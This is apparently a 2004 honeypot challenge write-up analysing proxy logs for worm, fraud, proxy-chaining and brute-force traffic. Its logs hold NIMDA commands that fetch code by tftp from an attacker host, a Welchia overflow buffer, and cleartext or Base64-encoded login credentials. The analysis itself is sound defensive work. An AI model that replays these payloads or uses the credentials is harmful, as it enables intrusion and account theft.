NIMDA – this worm spread through a number of
vectors with the following two being relevant for our proxypot
a.
Spread from client to web server via active scanning
for and exploitation of various Microsoft IIS 4.0 / 5.0 directory traversal
vulnerabilities (VU#111677 and CA-2001-12)
b.
Spread
from client to web server via scanning for the back doors left behind by the
"Code Red II" (IN-2001-09),
and "sadmind/IIS" (CA-2001-11) worms
Number of NIMDA Log Entries: 3536 from the
following hosts:
# egrep 'cmd.exe|root.exe' access_log | grep –v
Mozilla | awk '{print $1}' | sort | uniq
24.127.175.68
68.119.119.16
68.154.57.2
68.44.81.88
68.48.142.117
68.48.36.59
68.48.7.157
68.50.47.131
68.50.47.224
81.171.1.165
|
Search Logic: Search the access_log file
for all entries with the word “cmd.exe or root.exe” in them except if the word
Mozilla is in the entry (indicating non-worm requests such as from the Nessus
scan) and show with the less command.
Search Command: egrep 'cmd.exe|root.exe' access_log | grep –v Mozilla | less
Example Entry: The example entries below
show some NIMDA requests.
# egrep 'cmd.exe|root.exe' access_log | grep –v
Mozilla | less
68.48.142.117 - - [09/Mar/2004:22:19:35 -0500]
"GET /scripts/root.exe?/c+dir HTTP/1.0" 200
566
"-" "-"
68.48.142.117 - - [09/Mar/2004:22:20:26 -0500]
"GET /scripts/root.exe?/c+tftp%20-i%2068.48
.142.117%20GET%20cool.dll%20httpodbc.dll
HTTP/1.0" 200 566 "-" "-"
68.48.142.117 - - [09/Mar/2004:22:21:16 -0500]
"GET /MSADC/root.exe?/c+dir HTTP/1.0" 200 5
66 "-" "-"
68.48.142.117 - - [09/Mar/2004:22:22:07 -0500]
"GET /MSADC/root.exe?/c+tftp%20-i%2068.48.1
42.117%20GET%20cool.dll%20httpodbc.dll
HTTP/1.0" 200 566 "-" "-"
68.48.142.117 - - [09/Mar/2004:22:22:57 -0500]
"GET /c/winnt/system32/cmd.exe?/c+dir HTTP/
1.0" 200 566 "-" "-"
68.48.142.117 - - [09/Mar/2004:22:23:48 -0500]
"GET /c/winnt/system32/cmd.exe?/c+tftp%20-i
%2068.48.142.117%20GET%20cool.dll%20c:\\httpodbc.dll
HTTP/1.0" 200 566 "-" "-"
68.48.142.117 - - [09/Mar/2004:22:24:38 -0500]
"GET /c/winnt/system32/cmd.exe?/c+tftp%20-i
%2068.48.142.117%20GET%20cool.dll%20d:\\httpodbc.dll
HTTP/1.0" 200 566 "-" "-"
68.48.142.117 - - [09/Mar/2004:22:25:28 -0500]
"GET /c/winnt/system32/cmd.exe?/c+tftp%20-i
%2068.48.142.117%20GET%20cool.dll%20e:\\httpodbc.dll
HTTP/1.0" 200 566 "-" "-"
68.48.142.117 - - [09/Mar/2004:22:26:19 -0500]
"GET /d/winnt/system32/cmd.exe?/c+dir HTTP/
1.0" 200 566 "-" "-"
--CUT--
|
One thing that is interesting about these
requests is that if the initial request for the cmd.exe file returns a status
code of “200”, then it will move onto the second phase and try to use tftp to
copy the worm code over to the vulnerable IIS server (bolded above). This propagation mechanism means that this
is the “E” version of the NIMDA worm - http://www.dshield.org/pipermail/intrusions/2001-October/002063.php.
·
Welchia- http://securityresponse.symantec.com/avcenter/venc/data/w32.welchia.b.worm.html.
Welchia attempts to exploit the
WebDav vulnerability (described in Microsoft
Security Bulletin MS03-007) using TCP port 80.
Number of Welchia Log Entries: 10 from the
following hosts:
# egrep "SEARCH ..x90" access_log |
awk '{print $1}' | sort | uniq
68.105.175.198
68.145.194.90
68.226.132.24
68.233.204.25
68.237.228.160
68.53.171.23
68.65.228.155
68.71.130.54
68.80.230.152
68.85.208.96
|
Search Logic: Search the access_log file
for all entries with the regular expression text of “SEARCH any two
characters then x90” in them and show with the less command.
Search Command: egrep "SEARCH
..x90" access_log |
less
Example Entry: The example entry below
show one Welchia request.
# egrep "SEARCH ..x90" access_log |
less
68.85.208.96 - - [10/Mar/2004:05:01:52 -0500]
"SEARCH /\x90\x02\xb1\x02\xb1\x02\xb1\x02\xb
1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\
x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x0
2\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\xb1\x02\
--CUT—
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90" 414 345
"-" "-"
# grep 68.85.208.96 error_log |less
[Wed Mar 10 05:01:52 2004] [error] [client
68.85.208.96] request failed: URI too long
|
By looking at this entry, you can see that the
reason that our Apache proxypot generated an error was that the request URI
was too long.
2.5 Attack
Category – Banner/Click-Thru Fraud: Due to the large amount of revenue
that can be generated by banner ads and pay-per-click hyperlinks, they are
ripe targets for the greedy. This is
not a normal “web-attack” like we have discussed thus far. There are no IDS attack signatures to
identify. Each individual request, in
and of itself, is not malicious. The
abuse becomes visible when partner web sites inspect the source IP
addresses/referrer of the banner ad entries.
If the same IP address is repeated too many times within a time
period, then this would indicate that an automated program was utilized
instead of by real people.
Number of Banner
Fraud Log Entries: 3311 from 227 different hosts.
Search Logic: Search
the access_log file for all entries with the term “click” in them and show
with the less command.
Search Command: grep -i click access_log | less
Example Entry: The
example entries below show some banner ad fraud requests from the same IP
address.
# grep -i click access_log | less
220.175.18.42 - - [09/Mar/2004:23:02:45 -0500]
"GET http://partners.mygeek.com/presults.js
p?partnerid=98680&vendorId=97087&type=1&code=0&rate=845362362&cr=845362362&domain=service.
bfast.com&query=1078891353164%3A%3A69.56.226.130%3A%3Ahealth+insurance&url=http%3A%2F%2Fww
w.looksmart.com%2Fog%2Fpr%3DPsr%3Bro%3D1%3Brc%3D4%3Bla%3D33483%3Blm%3D171097%3Bkw%3D154428
%3Bed%3D20031114%3Bii%3D80b8.4602.404e87c5.5f1b%3Bpn%3D%3Bto%3D%3Btc%3D4%3Bpo%3D1%3Bpc%3D4
%3Bpi%3Dlzd%3Bts%3D%7Chttp%3A%2F%2Fservice.bfast.com%2Fbfast%2Fclick%3Fbfmid%3D26375915%26
siteid%3D40338265%26bfpage%3Difp%26bfinfo%3DLK2
HTTP/1.0" 302 511 "http://www.sanisearch.c
om/cgi-bin/smartsearch.cgi?username=arongyi&keywords=Health+Insurance"
"Mozilla/4.0 (compa
tible; MSIE 6.0; Windows 2000)"
220.175.18.42 - - [09/Mar/2004:23:02:46 -0500]
"GET http://www.looksmart.com/og/pr=Psr;ro=
1;rc=4;la=33483;lm=171097;kw=154428;ed=20031114;ii=80b8.4602.404e87c5.5f1b;pn=;to=;tc=4;po
=1;pc=4;pi=lzd;ts=|http://service.bfast.com/bfast/click?bfmid=26375915&siteid=40338265&bfp
age=ifp&bfinfo=LK2 HTTP/1.0" 302 281
"http://www.sanisearch.com/cgi-bin/smartsearch.cgi?us
ername=arongyi&keywords=Health+Insurance"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows 2000
)"
220.175.18.42 - - [09/Mar/2004:23:02:46 -0500]
"GET http://service.bfast.com/bfast/click?b
fmid=26375915&siteid=40338265&bfpage=ifp&bfinfo=LK2
HTTP/1.0" 302 374 "http://www.sanisear
ch.com/cgi-bin/smartsearch.cgi?username=arongyi&keywords=Health+Insurance"
"Mozilla/4.0 (c
ompatible; MSIE 6.0; Windows 2000)"
220.175.18.42 - - [09/Mar/2004:23:02:47 -0500]
"GET http://service.bfast.com/bfast/click?b
fmid=26375915&siteid=40338265&bfpage=ifp&bfinfo=LK2&bfcookietest=Y
HTTP/1.0" 302 357 "http
://www.sanisearch.com/cgi-bin/smartsearch.cgi?username=arongyi&keywords=Health+Insurance"
"Mozilla/4.0 (compatible; MSIE 6.0; Windows
2000)"
220.173.17.142 - - [09/Mar/2004:23:03:15 -0500]
"POST http://www.clickcheaper.com/search.p
hp HTTP/1.1" 200 19472 "http://www.163.net"
"Mozilla/4.0 (compatible; MSIE 4.0; Windows NT
)"
|
2.6 Attack
Category- IRC Connections: In the wild west of Internet Relay Chat (IRC),
hiding your real IP address is a smart move if you want to avoid being hit
with denial of service attack. There
are groups/individuals who are constantly playing “King of the Hill” for the
coveted role is SysOp on a particular channel. If a mutiny is successful and the SysOp is knocked off the
channel, then the position is up for grabs.
The SysOp needs to maintain control of the channel by having one of
their bots logged in at all times.
This is where our proxypot comes into play. If a bot logs into a channel through our proxypot, then our
proxypot becomes the target of any DoS attacks and not the real source IP.
Number of IRC
Connection Log Entries: 1696 from 239 different hosts.
Search Logic:
Search the access_log file for all entries to common IRC ports and show with
the less command.
Search Command: egrep '\:666[678] HTTP' access_log | less
Example Entry: The
example entries below show some example IRC connection attempts.
# egrep '\:666[678] HTTP' access_log | less
66.36.242.145 - - [09/Mar/2004:23:42:10 -0500]
"CONNECT irc.dal.net:6667 HTTP/1.0" 500 434 "-"
"-"
161.142.39.204 - - [10/Mar/2004:01:52:04 -0500]
"CONNECT stockholm.se.eu.undernet.org:6666 HTTP/1.0" 200 -
"-" "-"
193.109.122.14 - - [10/Mar/2004:01:52:07 -0500]
"CONNECT 193.109.122.67:6668 HTTP/1.0" 403 290 "-"
"pxyscand/2.0"
193.109.122.58 - - [10/Mar/2004:01:52:09 -0500]
"CONNECT 193.109.122.67:6668 HTTP/1.0" 403 290 "-"
"pxyscand/2.0"
193.109.122.21 - - [10/Mar/2004:01:52:11 -0500]
"CONNECT 193.109.122.67:6668 HTTP/1.0" 403 290 "-"
"pxyscand/2.0"
161.142.39.204 - - [10/Mar/2004:01:52:13 -0500]
"CONNECT ede.nl.eu.undernet.org:6668 HTTP/1.0" 403 298
"-" "-"
161.142.39.204 - - [10/Mar/2004:01:52:38 -0500]
"CONNECT elsene.be.eu.undernet.org:6668 HTTP/1.0" 403 301
"-" "-"
161.142.39.204 - - [10/Mar/2004:01:54:04 -0500]
"CONNECT us.undernet.org:6667 HTTP/1.0" 200 - "-"
"-"
|
3.
Do attackers target Secure Socket Layer (SSL) enabled web
servers as their targets?
Answer: Yes, attacker do target SSL enabled
web servers.
Number of SSL connections: 11778 from 152
different hosts.
Search Logic:
Search the access_log file for all entries with “https” or port “:443” in the
target URL and show with the less command.
Search Command: egrep
'https\:|\:443 HTTP' access_log | less
Example Entry: The
example entries below show some example SSL connection attempts.
# egrep 'https\:|\:443 HTTP' access_log | less
192.117.242.67 - - [09/Mar/2004:22:04:29 -0500]
"CONNECT login.icq.com:443 HTTP/1.0" 200 -
"-" "-"
192.117.242.67 - - [09/Mar/2004:22:04:29 -0500]
"CONNECT login.icq.com:443 HTTP/1.0" 200 -
"-" "-"
192.117.242.67 - - [09/Mar/2004:22:07:11 -0500]
"CONNECT login.icq.com:443 HTTP/1.0" 200 -
"-" "-"
192.117.242.67 - - [09/Mar/2004:22:09:38 -0500]
"CONNECT login.icq.com:443 HTTP/1.0" 200 -
"-" "-"
192.117.242.67 - - [09/Mar/2004:22:09:38 -0500]
"CONNECT login.icq.com:443 HTTP/1.0" 200 -
"-" "-"
212.57.187.242 - - [09/Mar/2004:22:11:27 -0500]
"GET https://www.chel.mts.ru/sms/cgi-bin/c
gi_.exe?function=sms_send HTTP/1.1" 200
23501 "http://www.ya.ru/" "Mozilla/4.0 (compatible
; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera
7.03 [en]"
|
Did they target SSL on our honeyproxy?
Answer: Yes, attackers did try and access the
SSL web server on our proxypot.
Number of SSL connections: 2313 from 4
different hosts.
Search Logic: Search the ssl-access_log
file for all entries with the less command.
Search Command: less ssl-access_log
Example Entry: The example entries below
show some example SSL connection attempts against our proxypot.
# less ssl-access_log
66.36.242.145 - - [09/Mar/2004:22:40:38 -0500]
"GET /mod_ssl:error:HTTP-request HTTP/1.0"
400 547
217.107.218.126 - - [09/Mar/2004:22:42:27 -0500]
"GET /mod_ssl:error:HTTP-request HTTP/1.0
" 400 547
217.160.165.173 - - [12/Mar/2004:22:30:15 -0500]
"GET /mod_ssl:error:HTTP-request HTTP/1.0
" 400 547
|
Why would they want to use SSL?
Answer: There are two different answers for
this question –
·
SSL software is just like any other application and
vulnerabilities may surface. When
they do, an attacker may probe the SSL-enabled web server for its version
information to confirm a vulnerable implementation.
·
Network Intrusion Detection Systems (NIDS) will not be able to
inspect the Layer 7 (Application) data in the HTTPS requests. Attackers will often target an SSL-enabled
web server to try and hide their activities from NIDS sensors.
Why didn't they use SSL exclusively?
Answer: Once again, there are two main answers
here –
·
Not every target web server offered SSL service.
·
As mentioned above, attackers want to hide their web attacks
from NIDS by tunneling it through SSL connections. This becomes even more obvious if the attacker were connecting
directly to the target web server from their real system. In the case of our proxypot, however, the
attacker has already taken steps to obfuscate their IP address so there are
less concerned with being stealthy since they have anonymity.
4.
Are there any indications of attackers chaining through other
proxy servers? Describe how you identified this activity. List the other
proxy servers identified. Can you confirm that these are indeed proxy
servers?
Answer: Yes, there is evidence of proxy
chaining by clients. The main
evidence which indicates proxy use is the inclusion of the “Via” and
“X-Forwarded-For” headers in the requests and responses.
Number of Proxy Connections: 19271 requests from
304 different hosts serving as a proxy for 5951 clients.
Search Logic:
·
Number of proxied requests sent to our server
– Search the audit_log file for all X-Forwarded-For entries, then give me a
total number of requests.
·
Number of proxy servers connecting to our proxy
– Search the audit_log file for all Requests and X-Forwarded-For entries,
then extract all X-Forwarded-For entries with their preceding/corresponding
request, then extract the client IP from the request and sort it and give me
a total number of unique hosts.
·
Number of clients who used a proxy to connect to
our proxy - Search the audit_log file for all X-Forwarded-For entries,
then extract only the IP addresses specified in this token and sort it and
give me a total number of unique hosts.
Search Command:
·
Number of proxied requests sent to our server
– egrep 'X-Forwarded-For\: '
audit_log | wc -l
·
Number of proxy servers connecting to our proxy
– egrep 'Request\: |X-Forwarded-For\:
' audit_log | egrep -B1 'X-Forwarded-For' | egrep 'Request\: ' | awk '{print
$2}' | sort | uniq | wc -l
·
Number of clients who used a proxy to connect to
our proxy - egrep
'X-Forwarded-For\: ' audit_log | awk '{print $2}' | sort | uniq | wc -l
List of Proxy
Servers: The proxy servers identified are in this list – proxy_servers.txt
Confirming the Proxy
Servers: In order to confirm that these IP addresses were in fact proxy
servers themselves, we could take three different approaches:
·
Check Well-Known Proxy Lists: We can check
online open proxy lists for these IP address as places such as the
Distributed Server Boycott List website - http://dsbl.org/main.
·
Use an Online Proxy Checker: We can use one of
the proxy checking web sites (discussed in question 1) to verify if each IP
address is in fact a proxy server.
·
Make a Request Through the Server: We can make
a direct connection to the server in question and make a proxy request and
see what comes back. Below is an
example of this:
# telnet 145.254.70.34 80
Trying 145.254.70.34...
Connected to 145.254.70.34.
Escape character is '^]'.
HEAD http://www.yahoo.com HTTP/1.0
HTTP/1.1 200 OK
Date: Tue, 11 May 2004 16:36:31 GMT
P3P:
policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP
COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi
UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE
GOV"
Cache-Control: private
Vary: User-Agent
Connection: close
Content-Type: text/html
Connection closed by foreign host.
|
While the X-Forwarded-For and Via headers do indicate
the use of proxy servers, they do not necessarily equal malicious
intent.
The Via header is used to
identify proxy servers, per RFC 2068 http://www.cse.ohio-state.edu/cgi-bin/rfc/rfc2068.html#sec-14.44.
The Via general-header field MUST
be used by gateways and proxies to indicate the intermediate protocols and
recipients between the user agent and the server on requests, and between the
origin server and the client on responses. It is analogous to the
"Received" field of RFC 822 and
is intended to be used for tracking message forwards, avoiding request loops,
and identifying the protocol capabilities of all senders along the
request/response chain.
As you can see from the RFC, all proxy servers MUST add
in the “Via” header for requests that they service. By looking at the audit_log data, we can identify the path that
these requests have taken to reach their target web server and identify
intermediary proxy servers.
# egrep -C20 "Via\: " audit_log |less
========================================
Request: 220.173.17.142 - - [Tue Mar 9 22:59:19 2004] "GET
http://mirror.qkimg.net/0208/808144-13 HTTP/1.1" 200 11616
Handler: proxy-server
----------------------------------------
GET http://mirror.qkimg.net/0208/808144-13
HTTP/1.1
Accept: image/gif, image/jpeg, image/x-xbitmap,
image/pjpeg, */*
Accept-Encoding: gzip, deflate
Accept-Language: en-us
Host: mirror.qkimg.net
Pragma: no-cache
Referer: http://www.qksrv.net
User-Agent: Mozilla/4.0 (compatible; MSIE 5.02;
Windows 98)
X-Forwarded-For: 209.121.186.154
HTTP/1.1 200 OK
Expires: Mon, 15 Mar 2004 21:15:49 GMT
Cache-Control: max-age=604800
Via: 1.1 atl.xpc-mii.net (MIIxpc/4.6
UNVERIFIED_CACHE_HIT Mon, 08 Mar 2004 21:15:49 GMT)
Accept-Ranges: bytes
Content-Disposition: filename=808144-13
Via: 1.1 ics_server.xpc-mii.net (ICS 2.2.64.208)
X-Cache: MISS from www.testproxy.net
Transfer-Encoding: chunked
Content-Type: text/plain
========================================
|
There is some great information (with a graphic) for TRACE
Request communication (with Via headers) from the Oreilly Open Book – Web
Client Programming with PERL web site - http://www.oreilly.com/openbook/webclient/ch03.html#34866.
The X-Forwarded-For client request header shows the
client IP address that made the request to the proxy server that connected to
our proxypot. Two caveats here for IP
trace-back of this connection:
·
This header can be easily spoofed. The IP address connecting to our proxypot can in fact be the
one making all of the connection and is spoofing X-Forwarded-For headers to
cause confusion or shift blame.
·
The IP address listed in the X-Forwarded-For header may in fact
me another proxy server. This is
known as chaining proxy servers/requests, which leads to our next topic.
As discussed above, the existence of the X-Forwarded-For and Via
headers does not directly indicate malicious intent, however there is another
indicator of “intended” proxy chaining – the User-Agent field with term
ProxyChains. ProxyChains is a command
line tool used to tunnel connections through specific proxy servers - http://proxychains.sourceforge.net/. If a client makes a request to our proxy
server with a User-Agent field of “ProxyChains”, then this indicates intent
to force connections through certain hosts.
Example Entry: The
example entries below show some example connection attempts with the
ProxyChains info.
# egrep -C10 ProxyChains audit_log |less
--CUT—
========================================
Request: 66.98.172.68 - - [Fri Mar 12 01:14:30
2004] "CONNECT 66.98.148.38:25 HTTP/1.0" 40
3 286
Handler: proxy-server
----------------------------------------
CONNECT 66.98.148.38:25 HTTP/1.0
User-Agent: ProxyChains 1.8
HTTP/1.0 403 Forbidden
Connection: close
Content-Type: text/html; charset=iso-8859-1
========================================
Request: 216.196.251.10 - - [Sat Mar 13 01:42:21
2004] "CONNECT 192.168.65.10:80 HTTP/1.0"
500 434
Handler: proxy-server
Error: The proxy server could not handle the
request <EM><A HREF="192.168.65.10:80">CONNEC
T 192.168.65.10:80</A></EM>.<P>
Reason: <STRONG>Could not connect to
remote machine:<br>Connection timed out</STRONG
>
----------------------------------------
CONNECT 192.168.65.10:80 HTTP/1.0
User-Agent: ProxyChains 1.8
HTTP/1.0 500 Proxy Error
Connection: close
Content-Type: text/html; charset=iso-8859-1
========================================
|
This first entry shows a client trying to use
ProxyChains to have our system connect to the SMTP service on another
host. The second entry shows a client
trying to use ProxyChains to have our system connect to another web server.
The final indication of proxy chaining would be the use
of Socks/Wingate client checkers.
These applications send SOCKS requests to proxy servers and the web
server log file shows this data as the request “\x04\x01”. Look familiar? We already identified these entries in our “Request Method”
analysis section above. Here are some
example entries from our proxypot’s access_log file for these types of
connections:
# grep "\x01" access_log |less
203.121.182.190 - - [09/Mar/2004:22:07:16 -0500]
"\x04\x01" 501 - "-" "-"
203.121.182.190 - - [09/Mar/2004:22:58:41 -0500]
"\x04\x01" 501 - "-" "-"
203.121.182.190 - - [09/Mar/2004:23:08:38 -0500]
"\x04\x01" 501 - "-" "-"
203.121.182.190 - - [09/Mar/2004:23:18:35 -0500]
"\x04\x01" 501 - "-" "-"
203.121.182.190 - - [09/Mar/2004:23:28:27 -0500]
"\x04\x01" 501 - "-" "-"
203.121.182.190 - - [09/Mar/2004:23:38:21 -0500]
"\x04\x01" 501 - "-" "-"
203.121.182.190 - - [10/Mar/2004:00:33:33 -0500]
"\x04\x01" 501 - "-" "-"
203.121.182.190 - - [10/Mar/2004:00:43:33 -0500]
"\x04\x01" 501 - "-" "-"
203.121.182.190 - - [10/Mar/2004:00:53:25 -0500]
"\x04\x01" 501 - "-" "-"
203.121.182.190 - - [10/Mar/2004:01:03:22 -0500]
"\x04\x01" 501 - "-" "-"
66.98.138.149 - - [10/Mar/2004:02:00:10 -0500]
"\x05\x01" 501 - "-" "-"
203.121.182.190 - - [10/Mar/2004:02:09:03 -0500]
"\x04\x01" 501 - "-" "-"
66.98.138.149 - - [10/Mar/2004:02:12:10 -0500]
"\x05\x01" 501 - "-" "-"
66.98.138.149 - - [10/Mar/2004:02:12:11 -0500]
"\x05\x01" 501 - "-" "-"
203.121.182.190 - - [10/Mar/2004:02:17:52 -0500]
"\x04\x01" 501 - "-" "-"
203.121.182.190 - - [10/Mar/2004:02:26:41 -0500]
"\x04\x01" 501 - "-" "-"
203.121.182.190 - - [10/Mar/2004:02:35:30 -0500]
"\x04\x01" 501 - "-" "-"
65.113.238.149 - - [10/Mar/2004:02:42:15 -0500]
"\x04\x01" 501 - "-" "-"
65.113.238.149 - - [10/Mar/2004:02:42:20 -0500]
"\x05\x01" 501 - "-" "-"
66.93.172.211 - - [10/Mar/2004:02:56:06 -0500]
"\x04\x01" 501 - "-" "-"
194.109.153.6 - - [10/Mar/2004:03:38:32 -0500]
"\x04\x01+g\xc2m\x99\x02" 501 - "-" "-"
--CUT--
|
Here is more information from a mail-list
where a user has seen same these connection attempts - http://cert.uni-stuttgart.de/archive/suse/security/2004/02/msg00402.html.
5.
Identify the different Brute Force Authentication attack
methods. Can you obtain the clear text username/password credentials?
Describe your methods.
Answer: There were three different types of
Brute Force Authentication attacks launched through our proxypot.
·
HTTP GET Requests – This form of authentication includes
passing the username/password credentials as part of the URL requested with
an HTTP GET request. An example entry
is below where a client is trying to authenticate to Yahoo accounts:
24.168.72.174 - - [09/Mar/2004:22:11:38 -0500]
"GET http://sbc1.login.scd.yahoo.com/config
/login?.redir_from=PROFILES?&.tries=1&.src=jpg&.last=&promo=&.intl=us&.bypass=&.partner=&.
chkP=Y&.done=http://jpager.yahoo.com/jpager/pager2.shtml&login=exodus_510&passwd=matthew
H
TTP/1.0" 200 566 "-"
"-"
24.168.72.174 - - [09/Mar/2004:22:19:33 -0500]
"GET http://login.europe.yahoo.com/config/l
ogin?.redir_from=PROFILES?&.tries=1&.src=jpg&.last=&promo=&.intl=us&.bypass=&.partner=&.ch
kP=Y&.done=http://jpager.yahoo.com/jpager/pager2.shtml&login=exodus_$$$$$$$&passwd=matthew
HTTP/1.0" 200 566 "-" "-"
24.168.72.174 - - [09/Mar/2004:22:27:46 -0500]
"GET http://sbc2.login.dcn.yahoo.com/config
/login?.redir_from=PROFILES?&.tries=1&.src=jpg&.last=&promo=&.intl=us&.bypass=&.partner=&.
chkP=Y&.done=http://jpager.yahoo.com/jpager/pager2.shtml&login=exodusc&passwd=HELL
HTTP/1.
0" 200 566 "-" "-"
24.168.72.174 - - [09/Mar/2004:22:35:48 -0500]
"GET http://sbc2.login.scd.yahoo.com/config
/login?.redir_from=PROFILES?&.tries=1&.src=jpg&.last=&promo=&.intl=us&.bypass=&.partner=&.
chkP=Y&.done=http://jpager.yahoo.com/jpager/pager2.shtml&login=exodus_!!!!!!!!&passwd=HELL
HTTP/1.0" 200 566 "-" "-"
24.168.72.174 - - [09/Mar/2004:22:43:47 -0500]
"GET http://login.korea.yahoo.com/config/lo
gin?.redir_from=PROFILES?&.tries=1&.src=jpg&.last=&promo=&.intl=us&.bypass=&.partner=&.chk
P=Y&.done=http://jpager.yahoo.com/jpager/pager2.shtml&login=exodus9971&passwd=christ
HTTP/
1.0" 200 566 "-" "-"
24.168.72.174 - - [09/Mar/2004:22:53:23 -0500]
"GET http://login.europe.yahoo.com/config/l
ogin?.redir_from=PROFILES?&.tries=1&.src=jpg&.last=&promo=&.intl=us&.bypass=&.partner=&.ch
kP=Y&.done=http://jpager.yahoo.com/jpager/pager2.shtml&login=exodus815&passwd=CHRIST
HTTP/
1.0" 200 566 "-" "-"
24.168.72.174 - - [09/Mar/2004:23:12:08 -0500]
"GET http://login.tpe.yahoo.com/config/logi
n?.redir_from=PROFILES?&.tries=1&.src=jpg&.last=&promo=&.intl=us&.bypass=&.partner=&.chkP=
Y&.done=http://jpager.yahoo.com/jpager/pager2.shtml&login=exodus179&passwd=lord
HTTP/1.0"
200 566 "-" "-"
|
By analyzing the
distribution of the target web servers and the user credentials, it seems
that the attacker is distributing his attack across multiple Yahoo servers
and is targeting mutations of the account “exodus” with a few passwords. Perhaps this combination will result in
less chances of being identified by locking out accounts. Generally speaking, this form of
authentication is insecure since the data is not sent over SSL and that these
URLs may be cached locally on systems, thus exposing user credentials.
·
HTTP POST Requests – This form of authentication includes
passing the username/password credentials as part of the PAYLOAD of an HTTP
POST request. An example entry is
below where a client is trying to authenticate to Yahoo accounts:
# egrep -B16 -A5 'PASSWORD\=' audit_log |less
========================================
Request: 12.202.244.240 - - [Sat Mar 13 12:49:07
2004] "POST http://www.allkindsofgirls.co
m/login.asp?reason=denied_bad_password&script_name=/members/loginNow.asp
HTTP/1.1" 200 578
Handler: proxy-server
Error: mod_security: pausing
[http://www.allkindsofgirls.com/login.asp?reason=denied_bad_p
assword&script_name=/members/loginNow.asp]
for 50000 ms
----------------------------------------
POST
http://www.allkindsofgirls.com/login.asp?reason=denied_bad_password&script_name=/memb
ers/loginNow.asp HTTP/1.1
Connection: close
Content-Length: 32
Content-Type: application/x-www-form-urlencoded
Cookie: ASPSESSIONIDAQASBQAR=KDDIHIACHEFOHMBCNFNHKNOF
Host: www.allkindsofgirls.com
Pragma: no-cache
Referer:
http://www.allkindsofgirls.com/login.asp?reason=denied_empty&script_name=/members
/sessions/227/
User-Agent: Mozilla/4.73 [en] (Win98; U)
mod_security-message: Access denied with code
200. Pattern match "password\=" at POST_PAYL
OAD.
mod_security-action: 200
USERNAME=JOHN&PASSWORD=TRUSTNO1&
HTTP/1.1 200 OK
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
|
As you can see from the
audit_log entry above, this client is try to submit authentication
credentials to the target web site.
Mode_Security identified the authentication keyword of “password\=”
and subsequently blocked the request.
·
HTTP Basic Authentication – With Basic Authentication, the web
server prompts the client’s browser for credentials with a “401” status
code. When the web browser receives
the initial 401 – it displays the familiar login pop-up box:

When the client clicks “OK” the same URL is
requested with an HTTP GET Method, however this time it includes an
additional client header: Authorization: Basic XXXXXXXXXXXXX. The data in the Authorization header is
the Base64 MIME Encoded user credentials submitted in the form of
“username:password”. Below is an
example basic authentication attempt:
# egrep -B10 -A10 'Authorization\: Basic'
audit_log | less
========================================
Request: 81.215.8.250 - - [Wed Mar 10 01:51:33
2004] "GET http://members.sexy-babes.tv/ HTTP/1.0" 200 566
Handler: proxy-server
Error: mod_security: pausing
[http://members.sexy-babes.tv/] for 50000 ms
----------------------------------------
GET http://members.sexy-babes.tv/ HTTP/1.0
Accept: */*
Accept-Language: en-us,en;q=0.5
Authorization: Basic NjlhMHo5YWc6a281NmFqNg==
Host: members.sexy-babes.tv
Pragma: no-cache
Referer: http://members.sexy-babes.tv/
User-Agent: Mozilla/4.73 ( compatible; [en];
Windows 98; athome020 )
mod_security-message: Access denied with code
200. Pattern match "Basic" at HEADER.
mod_security-action: 200
HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
|
The example entry above seems to be a real person
trying to authenticate to the web site.
How can I tell that this is a real person and not an automated
script? Two indicators:
o
The request has a seemingly valid User-Agent field which
indicates that the client is using Netscape-Navigator on a Windows 98
system. This data can be spoofed of
course, so we need supplemental data to support our theory of a real person
making this request.
o
The request uses the GET Methods. When attackers conduct Brute Force attack sessions, they often
use the HEAD request since it is faster due to not needed to transmit any
body data. The attacker can determine
if the Authorization data is valid based on the HTTP Status code
returned. If the server responds with
a “200 OK”, then they have valid credentials.
Luckily, as a
preventative measure, our proxypot has been configure to identify any
requests that submit an “Authorization: Basic” header, block the request and
respond with a status code of “200”.
This has two benefits – 1) the requests are never sent to the target
web site, thus protecting them from the attack, and 2) The results of the
Brute Force attack session are useless since it appears that all credentials
are valid.
Obtaining the Cleartext Authorization
Credentials: As discussed above, the only form of authentication that is
obfuscating the credentials is Basic Authentication. Fortunately/Unfortunately, depending on
your view, basic authentication is trivial to decode. First, we must extract all of the basic
auth headers:
# egrep -i 'Authorization\: Basic' audit_log |
less
Authorization: Basic Og==
Authorization: Basic Og==
Authorization: Basic Og==
Authorization: Basic am9ubm83NjpqZWFubmU=
Authorization: Basic cHJpbnRlbXA6Z29uem8y
Authorization: Basic a2VvbjIwMDpwaW1wcw==
Authorization: Basic eDc1N3g6bGFtZXI=
Authorization: Basic ZHF0czA1ZDM6YWljbHpwdXE=
Authorization: Basic cGF0czExMTphc2hsZXk=
Authorization: Basic cGF1bGhlaXQ6cGF1MWhlaXQ=
Authorization: Basic cGF1bGVqZzE6dGVtcGVzdA==
Authorization: Basic cGt3aG9uZXQ6cGt3aG9uZXQ=
Authorization: Basic cGxheXRleDpwYW50aWVz
Authorization: Basic cHJvamVrdDplbGVjdHJvbg==
Authorization: Basic cmFuZ2VtYW46Y2FzdGlsbGU=
Authorization: Basic cGFza3kyMjplbGRyZWQ=
